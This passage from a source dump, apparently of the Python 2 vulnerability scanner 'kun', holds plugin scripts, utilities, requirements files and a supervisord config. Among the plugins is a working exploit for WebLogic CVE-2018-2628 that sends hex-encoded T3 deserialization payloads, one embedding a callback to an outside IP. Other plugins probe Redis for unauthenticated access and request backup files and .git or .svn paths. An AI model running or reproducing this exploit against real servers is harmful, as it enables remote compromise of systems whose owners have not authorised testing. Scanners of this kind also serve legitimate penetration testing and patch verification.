"redis_unauth" 18 | poc_info['info'] = "redis unauthorized access vulnerability" 19 | poc_info['title'] = u'Redis未授权访问' 20 | poc_info['author'] = "i@cdxy.me" 21 | poc_info['time'] = "2018.03.03" 22 | poc_info['type'] = 'attack' 23 | poc_info['level'] = SCRIPT_LEVEL.MEDIUM 24 | return poc_info 25 | 26 | 27 | 28 | def Poc(url): 29 | init_url = url 30 | result = {} 31 | result['success'] = False 32 | result['message'] = '' 33 | 34 | try: 35 | socket.setdefaulttimeout(3) 36 | url = GetNetloc(url) 37 | ip = DomainToIP(url) 38 | if ip == None: 39 | return result 40 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 41 | port = int(ip.split(':')[-1]) if ':' in ip else 6379 42 | ip = DelPort(ip) 43 | s = socket.socket() 44 | s.connect((ip, port)) 45 | s.send(payload) 46 | recvdata = s.recv(1024) 47 | s.close() 48 | if recvdata and 'redis_version' in recvdata: 49 | result['success'] = True 50 | return result 51 | except Exception,e: 52 | raise PocWarningException(init_url, Info()['name'], repr(e)) 53 | -------------------------------------------------------------------------------- /kunscanner/lib/scripts/weakfile/weakfile.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : weakfile.py 5 | 6 | import requests 7 | from collections import OrderedDict 8 | from kunscanner.lib.core.data import path 9 | from kunscanner.lib.utils.utils import GetNetloc,LoadDict,CheckTargetAccess 10 | from kunscanner.lib.core.exception import PocWarningException 11 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 12 | 13 | dict_path = path.DICT_PATH + 'weak_file' 14 | 15 | def Info(): 16 | poc_info = OrderedDict() 17 | poc_info['name'] = "weakfile" 18 | poc_info['info'] = "weak file scan. backup file/.git/svn and others" 19 | poc_info['title'] = u'敏感文件测试' 20 | poc_info['author'] = "Xmchx" 21 | poc_info['time'] = "2018.04.24" 22 | poc_info['type'] = 'info' 23 | poc_info['level'] = SCRIPT_LEVEL.LOW 24 | return poc_info 25 | 26 | 27 | def Poc(url): 28 | init_url = url 29 | result = {} 30 | try: 31 | data = '' 32 | url = GetNetloc(url,True) 33 | if CheckTargetAccess(url): 34 | files = LoadDict(dict_path) 35 | for file in files: 36 | try: 37 | file = file.strip() 38 | res = requests.get(url[0:-1]+file, timeout=3) 39 | except: 40 | continue 41 | if str(res.status_code).startswith('2'): 42 | data = data+'\n'+file+': '+str(res.status_code) 43 | if data: 44 | result['weak_file'] = data 45 | return result 46 | except Exception,e: 47 | raise PocWarningException(init_url,Info()['name'],repr(e)) -------------------------------------------------------------------------------- /kunscanner/lib/scripts/weblogic/weblogic_2628.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/5/1 下午3:09 3 | # @author : Xmchx 4 | # @File : weblogic_2628.py 5 | 6 | 7 | import re 8 | import socket 9 | import time 10 | from collections import OrderedDict 11 | from kunscanner.lib.utils.utils import GetNetloc,DomainToIP 12 | from kunscanner.lib.core.exception import PocWarningException 13 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 14 | 15 | 16 | def Info(): 17 | poc_info = OrderedDict() 18 | poc_info['name'] = "weblogic_2628" 19 | poc_info['info'] = "weblogic remote command execution vulnerability (CVE-2018-2628)" 20 | poc_info['title'] = u'Weblogic远程命令执行(CVE-2018-2628)' 21 | poc_info['author'] = "brianwrf" 22 | poc_info['time'] = "2018.05.01" 23 | poc_info['type'] = 'attack' 24 | poc_info['level'] = SCRIPT_LEVEL.HIGH 25 | return poc_info 26 | 27 | 28 | def Poc(url): 29 | init_url = url 30 | result = {} 31 | result['success'] = False 32 | result['message'] = '' 33 | socket.setdefaulttimeout(15) 34 | 35 | if ':' in GetNetloc(url): 36 | dport = int(GetNetloc(url).split(':')[1]) 37 | else: 38 | dport = 7001 39 | ip = DomainToIP(GetNetloc(url)) 40 | if ip == None: 41 | return result 42 | if ':' in ip: 43 | dip = ip.split(':')[0] 44 | else: 45 | dip = ip 46 | 47 | try: 48 | index = 0 49 | PAYLOAD = ['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078'] 50 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 51 | server_addr = (dip, dport) 52 | t3handshake(sock, server_addr) 53 | buildT3RequestObject(sock, dport) 54 | rs = sendEvilObjData(sock, PAYLOAD[index]) 55 | if checkVul(rs,index): 56 | result['success'] = True 57 | return result 58 | except Exception,e: 59 | raise PocWarningException(init_url,Info()['name'],repr(e)) 60 | 61 | 62 | def t3handshake(sock,server_addr): 63 | sock.connect(server_addr) 64 | sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) 65 | time.sleep(1) 66 | sock.recv(1024) 67 | 68 | def buildT3RequestObject(sock,port): 69 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' 70 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(port)) 71 | data3 = '1a7727000d3234322e323134' 72 | data4 = '2e312e32353461863d1d0000000078' 73 | for d in [data1,data2,data3,data4]: 74 | sock.send(d.decode('hex')) 75 | time.sleep(2) 76 | 77 | 78 | def sendEvilObjData(sock,data): 79 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' 80 | payload+=data 81 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' 82 | payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) 83 | sock.send(payload.decode('hex')) 84 | time.sleep(2) 85 | sock.send(payload.decode('hex')) 86 | res = '' 87 | try: 88 | i = 0 89 | while i < 10: 90 | i = i + 1 91 | res += sock.recv(4096) 92 | time.sleep(0.1) 93 | except: 94 | pass 95 | return res 96 | 97 | def checkVul(res,index): 98 | VER_SIG = ['\\$Proxy[0-9]+'] 99 | p=re.findall(VER_SIG[index], res, re.S) 100 | if len(p)>0: 101 | return True 102 | else: 103 | return False 104 | 105 | 106 | -------------------------------------------------------------------------------- /kunscanner/lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午3:07 3 | # @author : Xmchx 4 | # @File : __init__.py.py -------------------------------------------------------------------------------- /kunscanner/lib/utils/ceye.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/30 下午12:09 3 | # @author : Xmchx 4 | # @File : ceye.py 5 | 6 | 7 | import requests 8 | import json 9 | from kunscanner.lib.core.data import conf 10 | 11 | def CeyeApi(filter, query_type = 'dns'): 12 | url = 'http://api.ceye.io/v1/records?token='+conf.CEYE_TOKEN+'&type='+query_type+'&filter='+filter 13 | try: 14 | res = requests.get(url) 15 | except Exception,e: 16 | return False 17 | result = json.loads(res.text)['data'] 18 | if len(result) == 0: 19 | return False 20 | else: 21 | return result 22 | -------------------------------------------------------------------------------- /kunscanner/lib/utils/terminalsize.py: -------------------------------------------------------------------------------- 1 | # use https://gist.github.com/jtriley/1108174 2 | # !/usr/bin/env python 3 | import os 4 | import shlex 5 | import struct 6 | import platform 7 | import subprocess 8 | 9 | 10 | def get_terminal_size(): 11 | """ getTerminalSize() 12 | - get width and height of console 13 | - works on linux,os x,windows,cygwin(windows) 14 | originally retrieved from: 15 | http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python 16 | """ 17 | current_os = platform.system() 18 | tuple_xy = None 19 | if current_os == 'Windows': 20 | tuple_xy = _get_terminal_size_windows() 21 | if tuple_xy is None: 22 | tuple_xy = _get_terminal_size_tput() 23 | # needed for window's python in cygwin's xterm! 24 | if current_os in ['Linux', 'Darwin'] or current_os.startswith('CYGWIN'): 25 | tuple_xy = _get_terminal_size_linux() 26 | if tuple_xy is None: 27 | print "default" 28 | tuple_xy = (80, 25) # default value 29 | return tuple_xy 30 | 31 | 32 | def _get_terminal_size_windows(): 33 | try: 34 | from ctypes import windll, create_string_buffer 35 | # stdin handle is -10 36 | # stdout handle is -11 37 | # stderr handle is -12 38 | h = windll.kernel32.GetStdHandle(-12) 39 | csbi = create_string_buffer(22) 40 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 41 | if res: 42 | (bufx, bufy, curx, cury, wattr, 43 | left, top, right, bottom, 44 | maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 45 | sizex = right - left + 1 46 | sizey = bottom - top + 1 47 | return sizex, sizey 48 | except: 49 | pass 50 | 51 | 52 | def _get_terminal_size_tput(): 53 | # get terminal width 54 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 55 | try: 56 | cols = int(subprocess.check_call(shlex.split('tput cols'))) 57 | rows = int(subprocess.check_call(shlex.split('tput lines'))) 58 | return (cols, rows) 59 | except: 60 | pass 61 | 62 | 63 | def _get_terminal_size_linux(): 64 | def ioctl_GWINSZ(fd): 65 | try: 66 | import fcntl 67 | import termios 68 | cr = struct.unpack('hh', 69 | fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234')) 70 | return cr 71 | except: 72 | pass 73 | 74 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 75 | if not cr: 76 | try: 77 | fd = os.open(os.ctermid(), os.O_RDONLY) 78 | cr = ioctl_GWINSZ(fd) 79 | os.close(fd) 80 | except: 81 | pass 82 | if not cr: 83 | try: 84 | cr = (os.environ['LINES'], os.environ['COLUMNS']) 85 | except: 86 | return None 87 | return int(cr[1]), int(cr[0]) 88 | -------------------------------------------------------------------------------- /kunscanner/lib/utils/utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:55 3 | # @author : Xmchx 4 | # @File : utils.py 5 | import os 6 | import ConfigParser 7 | import random 8 | import re 9 | import socket 10 | import string 11 | import urlparse 12 | import requests 13 | # 会与werkzeug冲突 14 | #socket.setdefaulttimeout(5) 15 | 16 | def CheckFileExists(file_path): 17 | return os.path.exists(file_path) 18 | 19 | 20 | def CheckPathAccess(path): 21 | return os.access(path,os.W_OK) 22 | 23 | class GetConfig(ConfigParser.ConfigParser): 24 | def __init__(self, defaults=None): 25 | ConfigParser.ConfigParser.__init__(self, defaults=defaults) 26 | 27 | def optionxform(self, options): 28 | return options 29 | 30 | def GetUserAgent(): 31 | user_agents = [ 32 | "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_2 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5", 33 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5", 34 | "MQQBrowser/25 (Linux; U; 2.3.3; zh-cn; HTC Desire S Build/GRI40;480*800)", 35 | "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-cn; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 36 | "Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaE75-1 /110.48.125 Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413", 37 | "Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8J2", 38 | "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30", 39 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1", 40 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22", 41 | "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A5313e Safari/7534.48.3", 42 | "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A5313e Safari/7534.48.3", 43 | "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A5313e Safari/7534.48.3", 44 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1", 45 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; SAMSUNG; OMNIA7)", 46 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7)", 47 | "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30", 48 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", 49 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)", 50 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)", 51 | "Mozilla/4.0 (compatible; MSIE 60; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", 52 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", 53 | "Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50", 54 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 55 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)", 56 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1", 57 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12", 58 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; TheWorld)"] 59 | ua = random.sample(user_agents, 1) 60 | return ua[0] 61 | 62 | def GetHeader(): 63 | ua = GetUserAgent() 64 | header = { 65 | 'user-agent':ua 66 | } 67 | return header 68 | 69 | 70 | def RandomString(length = 8): 71 | return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) 72 | 73 | 74 | def FuzzAction(url): 75 | action_list = ['index.action','login.action','index.do','login.do'] 76 | result_list = [] 77 | regex_action = r"(.*?)(\.action|\.do)" 78 | if '.do' in url or '.action' in url: 79 | result_list.append(re.match(re.compile(regex_action),url).group()) 80 | return result_list 81 | url = GetNetloc(url,True) 82 | for each in action_list: 83 | result_list.append(urlparse.urljoin(url, each)) 84 | return result_list 85 | 86 | def AddScheme(url): 87 | if url.startswith('http://') or url.startswith('https://'): 88 | return url 89 | else: 90 | return 'http://'+url 91 | 92 | def GetNetloc(url, scheme = False): 93 | # 0: 返回不带有http:// 94 | # 其他:返回 scheme+netloc 95 | scheme_url = AddScheme(url) 96 | up = urlparse.urlparse(scheme_url) 97 | if scheme == False: 98 | return up.netloc 99 | else: 100 | return up.scheme+'://'+up.netloc+'/' 101 | 102 | 103 | def DomainToIP(domain): 104 | if ':' in domain: 105 | domain = domain.split(':')[0] 106 | if CheckIP(domain): 107 | return domain 108 | try: 109 | ip = socket.getaddrinfo(domain,None)[0][4] 110 | except: 111 | return None 112 | return ip[0] 113 | 114 | def CheckIP(ip): 115 | if ':' in ip: 116 | ip = ip.split(':')[0] 117 | regex = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') 118 | if regex.match(ip): 119 | return True 120 | else: 121 | return False 122 | 123 | def DelPort(ip): 124 | if ':' in ip: 125 | return ip.split(':')[0] 126 | else: 127 | return ip 128 | 129 | 130 | def LoadDict(file_path): 131 | data = [] 132 | with open(file_path,'r') as f: 133 | fdata = f.readlines() 134 | for line in fdata: 135 | if line: 136 | data.append(line.strip()) 137 | return data 138 | 139 | def CheckTargetAccess(url): 140 | for i in range(5): 141 | try: 142 | requests.get(url,timeout= 3) 143 | return True 144 | except Exception,e: 145 | continue 146 | return False 147 | 148 | def CheckPort(target, port, timeout=3): 149 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 150 | sk.settimeout(timeout) 151 | try: 152 | sk.connect((target, port)) 153 | return True 154 | except Exception: 155 | return False -------------------------------------------------------------------------------- /kunscanner/log/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/kunscanner/log/.gitignore -------------------------------------------------------------------------------- /kunscanner/result/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/kunscanner/result/.gitignore -------------------------------------------------------------------------------- /kunscanner/scanner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:15 3 | # @author : Xmchx 4 | # @File : scanner.py 5 | 6 | 7 | from lib.core.enums import SCANNER_MODE 8 | from lib.core.common import GetSystemType,SysQuit 9 | from lib.core.log import SetLogger 10 | from lib.core import SetConfig, SetPath, SetArgs 11 | from lib.parse.cmdline import CmdLineParser 12 | from lib.core.exception import LoadConfException 13 | from lib.core.argsparse import SetOptions 14 | 15 | 16 | def Init(): 17 | try: 18 | GetSystemType() 19 | SetLogger() 20 | SetPath() 21 | SetConfig() 22 | except LoadConfException: 23 | SysQuit() 24 | 25 | 26 | def Main(scanner_mode, scan_args=None): 27 | Init() 28 | data = None 29 | from lib.core.exception import ArgsException, DatabaseException 30 | try: 31 | if scanner_mode == SCANNER_MODE.CONSOLE: 32 | SetArgs(scanner_mode, CmdLineParser()) 33 | else: 34 | SetArgs(scanner_mode, scan_args) 35 | SetOptions() 36 | from lib.controller.controller import Engine 37 | engine = Engine() 38 | data = engine.Run() 39 | 40 | except ArgsException: 41 | SysQuit(1) 42 | except DatabaseException: 43 | SysQuit() 44 | return data 45 | -------------------------------------------------------------------------------- /kunscanner/webapi.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:31 3 | # @author : Xmchx 4 | # @File : webapi.py 5 | 6 | import os 7 | import ConfigParser 8 | from kunscanner.scanner import Main as RunScanner 9 | 10 | ''' 11 | 选中全部脚本扫描 12 | all_scripts=False 13 | 14 | api获取的最大数目 15 | api_max_number=None 16 | 17 | 自定义加载扫描脚本 18 | custom_scripts='unauth*' 19 | 20 | 使用默认的扫描脚本,还没开发完 21 | default_scripts=False, 22 | 23 | IP段类型的目标,可以接受{192.168.0.1-10,192.168.0.1-192.168.1.1.192.168.0.0/24} 24 | ip_segment=None 25 | 26 | 扫描结果的输出文件名,可不填,为空时文件名为扫描结束时间 27 | output_file_name=None 28 | 29 | 显示当前可用的所有插件信息 30 | all_scripts_info=False 31 | 32 | 显示指定的插件信息 33 | custom_scripts_info=None 34 | 35 | 从爬虫获取目标,值为爬虫的起始域名 36 | spider_init_url=None 37 | 38 | 从文本文件加载目标 39 | target_file=None 40 | 41 | 指定本次扫描的任务名,只在使用数据库作为存储是有效 42 | task_name=None, 43 | 44 | 单独一个url的扫描 45 | url='127.0.0.1', 46 | 47 | 使用zoomeye获取目标,值为zoomeye的搜索关键字 48 | zoomeye=None 49 | ''' 50 | 51 | def NewScan(args): 52 | ''' 53 | example: 54 | args = { 55 | "all_scripts":False, 56 | "api_max_number":None, 57 | "custom_scripts":'unauth*', 58 | "default_scripts":False, 59 | "ip_segment":None, 60 | "output_file_name":None, 61 | "all_scripts_info":False, 62 | "custom_scripts_info":None, 63 | "spider_init_url":None, 64 | "target_file":None, 65 | "task_name":None, 66 | "url":'127.0.0.1', 67 | "zoomeye":None 68 | } 69 | ''' 70 | RunScanner('web',args) 71 | 72 | 73 | def ScriptsInfo(): 74 | args = { 75 | 76 | "all_scripts":False, 77 | 78 | "max_number":None, 79 | 80 | "custom_scripts":None, 81 | 82 | "ip_segment":None, 83 | 84 | "output_file_name":None, 85 | 86 | "custom_scripts_info":None, 87 | 88 | "all_scripts_info":True, 89 | 90 | "spider_init_url":None, 91 | 92 | "target_file":None, 93 | 94 | "url":None, 95 | 96 | "zoomeye":None, 97 | 98 | "baidu":None, 99 | 100 | "task_id":None, 101 | 102 | "update_script_info":False, 103 | 104 | "task_name":None, 105 | 106 | "zoomeye_search_type":None, 107 | 108 | "subdomain":None, 109 | 110 | "search_script": None, 111 | 112 | "custom_scripts_info":None 113 | } 114 | return RunScanner('web',args) 115 | 116 | 117 | def APIInfo(): 118 | api_list = [] 119 | api_path = os.path.dirname(os.path.realpath(__file__))+'//lib//api//' 120 | for root, dirs, files in os.walk(api_path): 121 | for file in files: 122 | if '__init__' not in file and 'pyc' not in file and 'pyo' not in file and 'py' in file: 123 | api_list.append(file.split('.')[0]) 124 | return api_list 125 | 126 | -------------------------------------------------------------------------------- /requirements_all.txt: -------------------------------------------------------------------------------- 1 | Flask==1.0 2 | requests==2.20.0 3 | Werkzeug==0.15.3 4 | flask_mongoengine==0.8 5 | prettytable==0.7.2 6 | pymongo==3.4.0 7 | paramiko==2.4.2 8 | celery==3.1.25 9 | mongoengine==0.10.7 10 | coloredlogs==9.0 11 | Flask_Login==0.4.0 12 | tldextract==2.2.0 13 | IPy==0.83 14 | gevent==1.2.2 15 | redis==2.10.6 16 | gunicorn==19.6.0 17 | supervisor==3.3.4 -------------------------------------------------------------------------------- /requirements_cli.txt: -------------------------------------------------------------------------------- 1 | requests==2.20.0 2 | prettytable==0.7.2 3 | pymongo==3.4.0 4 | paramiko==2.4.2 5 | mongoengine==0.10.7 6 | coloredlogs==9.0 7 | tldextract==2.2.0 8 | IPy==0.83 9 | redis==2.10.6 -------------------------------------------------------------------------------- /supervisord.conf: -------------------------------------------------------------------------------- 1 | ; Sample supervisor config file. 2 | ; 3 | ; For more information on the config file, please see: 4 | ; http://supervisord.org/configuration.html 5 | ; 6 | ; Notes: 7 | ; - Shell expansion ("~" or "$HOME") is not supported. Environment 8 | ; variables can be expanded using this syntax: "%(ENV_HOME)s". 9 | ; - Quotes around values are not supported, except in the case of 10 | ; the environment= options as shown below. 11 | ; - Comments must have a leading space: "a=b ;comment" not "a=b;comment". 12 | ; - Command will be truncated if it looks like a config file comment, e.g. 13 | ; "command=bash -c 'foo ; bar'" will truncate to "command=bash -c 'foo ". 14 | 15 | [unix_http_server] 16 | file=/tmp/supervisor.sock ; the path to the socket file 17 | ;chmod=0700 ; socket file mode (default 0700) 18 | ;chown=nobody:nogroup ; socket file uid:gid owner 19 | ;username=user ; default is no username (open server) 20 | ;password=123 ; default is no password (open server) 21 | 22 | ;[inet_http_server] ; inet (TCP) server disabled by default 23 | ;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface 24 | ;username=user ; default is no username (open server) 25 | ;password=123 ; default is no password (open server) 26 | 27 | [supervisord] 28 | logfile=/tmp/supervisord.log ; main log file; default $CWD/supervisord.log 29 | logfile_maxbytes=50MB ; max main logfile bytes b4 rotation; default 50MB 30 | logfile_backups=10 ; # of main logfile backups; 0 means none, default 10 31 | loglevel=info ; log level; default info; others: debug,warn,trace 32 | pidfile=/tmp/supervisord.pid ; supervisord pidfile; default supervisord.pid 33 | nodaemon=false ; start in foreground if true; default false 34 | minfds=1024 ; min. avail startup file descriptors; default 1024 35 | minprocs=200 ; min. avail process descriptors;default 200 36 | ;umask=022 ; process file creation umask; default 022 37 | ;user=chrism ; default is current user, required if root 38 | ;identifier=supervisor ; supervisord identifier, default is 'supervisor' 39 | ;directory=/tmp ; default is not to cd during start 40 | ;nocleanup=true ; don't clean up tempfiles at start; default false 41 | ;childlogdir=/tmp ; 'AUTO' child log dir, default $TEMP 42 | ;environment=KEY="value" ; key value pairs to add to environment 43 | ;strip_ansi=false ; strip ansi escape codes in logs; def. false 44 | 45 | ; The rpcinterface:supervisor section must remain in the config file for 46 | ; RPC (supervisorctl/web interface) to work. Additional interfaces may be 47 | ; added by defining them in separate [rpcinterface:x] sections. 48 | 49 | [rpcinterface:supervisor] 50 | supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface 51 | 52 | ; The supervisorctl section configures how supervisorctl will connect to 53 | ; supervisord. configure it match the settings in either the 